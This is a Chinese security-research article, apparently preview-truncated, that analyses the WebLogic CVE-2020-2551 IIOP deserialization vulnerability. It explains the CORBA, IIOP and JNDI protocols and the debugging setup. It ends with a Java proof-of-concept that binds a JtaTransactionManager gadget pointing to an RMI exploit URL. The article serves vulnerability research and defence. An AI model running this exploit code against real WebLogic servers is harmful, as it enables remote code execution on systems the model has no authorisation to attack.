没有合适的资源?快使用搜索试试~ 我知道了~
资源详情
资源评论
资源推荐
漫谈 WebLogic-CVE-2020-2551
2020年03月19日
漏洞分析 (/category/vul-analysis/)
作者:r4v3zn@白帽汇安全研究院
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!
投稿邮箱:paper@seebug.org
背景
2020 年 1月14日,Oracle 发布了大量安全补丁,修复了 43 个严重漏洞,CVSS 评分均在在9.1以
上。 其中 CVE-2020-2551 漏洞,互联网中公布了几篇针对该漏洞的分析文章以及POC,但公布的
POC 有部分不足之处,导致漏洞检测效率变低,不足之处主要体现在:
1. 公布的 POC 代码只针对直连(内网)网络有效,Docker、NAT 网络全部无效。
2. 公布的 POC 代码只支持单独一个版本,无法适应多个 weblogic 版本。
注: 1. 经过大量的测试,我们的 POC 可稳定运行在多个操作系统、多个 weblogic 版本、多个 JDK
版本以及 Docker 网络中。 2. 以上测试及分析环境全部基于内部环境。
漏洞分析
通过 Oracle 官方发布的公告是可以看出该漏洞的主要是在核心组件中的,影响协议为 IIOP 。该漏洞
原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞
也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全
检查所导致的。
协议
为了能够更好的理解本文稿中所描述 RMI、IIOP、GIOP、CORBA 等协议名称,下面来进行简单介
绍。
IDL与Java IDL
IDL全称(Interface Denition Language)也就是接口定义语言,它主要用于描述软件组件的应用程
序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之
间的通信,这样就保证了跨语言跨环境的远程对象调用。
在基于IDL构建的软件系统中就存在一个OMG IDL(对象管理组标准化接口定义语言),其用于
CORBA中。
就如上文所说,IDL是与编程语言无关的一种规范化描述性语言,不同的编程语言为了将其转化成
IDL,都制定了一套自用的编译器用于将可读取的OMG IDL文件转换或映射成相应的接口或类型。
Java IDL就是Java实现的这套编译器。
RMI、JRMP、JNDI
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于
实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远
程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接
口对象的使用。 Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技
术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的
线路层协议(英语:Wire protocol)。
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务
应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在
开发过程中可以使用名称来访问对象。
目前基于 JNDI 实现的几本为 rmi 与 ldap 的目录服务系统,构建 rmi 、ldap 比较常用的的工具有
marshalsec (https://github.com/mbechler/marshalsec) 、ysoserial
(https://github.com/froho/ysoserial)。
更多信息建议查阅Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
(https://www.anquanke.com/post/id/194384)。
ORB与GIOP、IIOP
ORB全称(Object Request Broker)对象请求代理。ORB是一个中间件,他在对象间建立一个CS关
系,或者更简单点来说,就是一个代理。客户端可以很简单的通过这个媒介使用服务器对象的方法而
不需要关注服务器对象是在同一台机器上还是通过远程网络调用的。ORB截获调用后负责找到一个对
象以满足该请求。 GIOP全称(General Inter-ORB Protocol)通用对象请求协议,其功能简单来说就
是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP
层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称
为IIOP。
而ORB与GIOP的关系是GIOP起初就是为了满足ORB间的通信的协议。所以也可以说ORB是CORBA通
信的媒介。
CORBA
CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系结构,
是OMG(对象管理组织)制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用
程序间的通信,曾是分布式计算的主流技术。
一般来说CORBA将其结构分为三部分,为了准确的表述,我将用其原本的英文名来进行表述: -
naming service - client side - servant side
这三部分组成了CORBA结构的基础三元素,而通信过程也是在这三方间完成的。我们知道CORBA是
一个基于网络的架构,所以以上三者可以被部署在不同的位置。 servant side 可以理解为一个接收
client side 请求的服务端; naming service 对于 servant side 来说用于服务方注册其提供的服务,
对于 client side 来说客户端将从 naming service 来获取服务方的信息。这个关系可以简单的理解成
目录与章节具体内容的关系:目录即为 naming service , servant side 可以理解为具体的内容,内容
需要首先在目录里面进行注册,这样当用户想要访问具体内容时只需要首先在目录中查找到具体内容
所注册的引用(通常为页数),这样就可以利用这个引用快速的找到章节具体的内容。
神奇的7001端口
首先我们来分析 weblogic 神奇的 7001 端口,正常情况下我们通过 7001 端口发送 HTTP 协议时会响
应 HTTP 协议的内容,发送 T3 协议的数据包时响应 T3 的响应数据包,发送 IIOP 协议的数据包时响
应 IIOP 的数据包。该端口非常的神奇,我们通过什么协议访问该端口该端口会响应对应的协议包内
容。
通过浏览器进行访问 weblogic 的 7001 端口可以发现响应的协议类型也为HTTP。
上图通过 IIOP 进行发包响应内容为为 IIOP 内容信息,IIOP 是一种通过 TCP/IP 连接交换 GIOP (通
用对象请求代理间通信协议)信息的协议。
漏洞利用
该漏洞主要是因为 Webloigc 默认开放 IIOP 协议,并且 JtaTransactionManager 并未做黑名单过滤导
致漏洞发生,以下为整个测试 POC(该 POC 来自互联网),后续代码调试也是基于该代码进行调
试。
基于公布的POC,整个利用过程就为: 1. 通过 Weblogic 的IP与端口通过
weblogic.jndi.WLInitialContextFactory 类进行 IIOP 协议数据交互。 2. 基于 JtaTransactionManager
设置 RMI 加载地址。 3. 通过 ysoserial 构建 Gadgets 并且通过 IIOP 进行绑定,并且触发漏洞。
weblogic 解析流程
注:weblogic流程是基于 weblogic 12.2.1.3.0 进行测试研究。
weblogic 调试
修改目录 user_project/domains/bin 目录中 setDomainEnv.cmd 或者 setDomainEnv.sh 文件,加 if
%debugFlag == "false"% 之前加入 set debugFlag=true ,并且重新启动 weblogic,然后将 weblogic
复制到 idea 项目中,并且添加 Libraries
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1";
String port = "7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTrans
context.bind("hello", remote);
}
剩余20页未读,继续阅读
杏花朵朵
- 粉丝: 19
- 资源: 332
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论0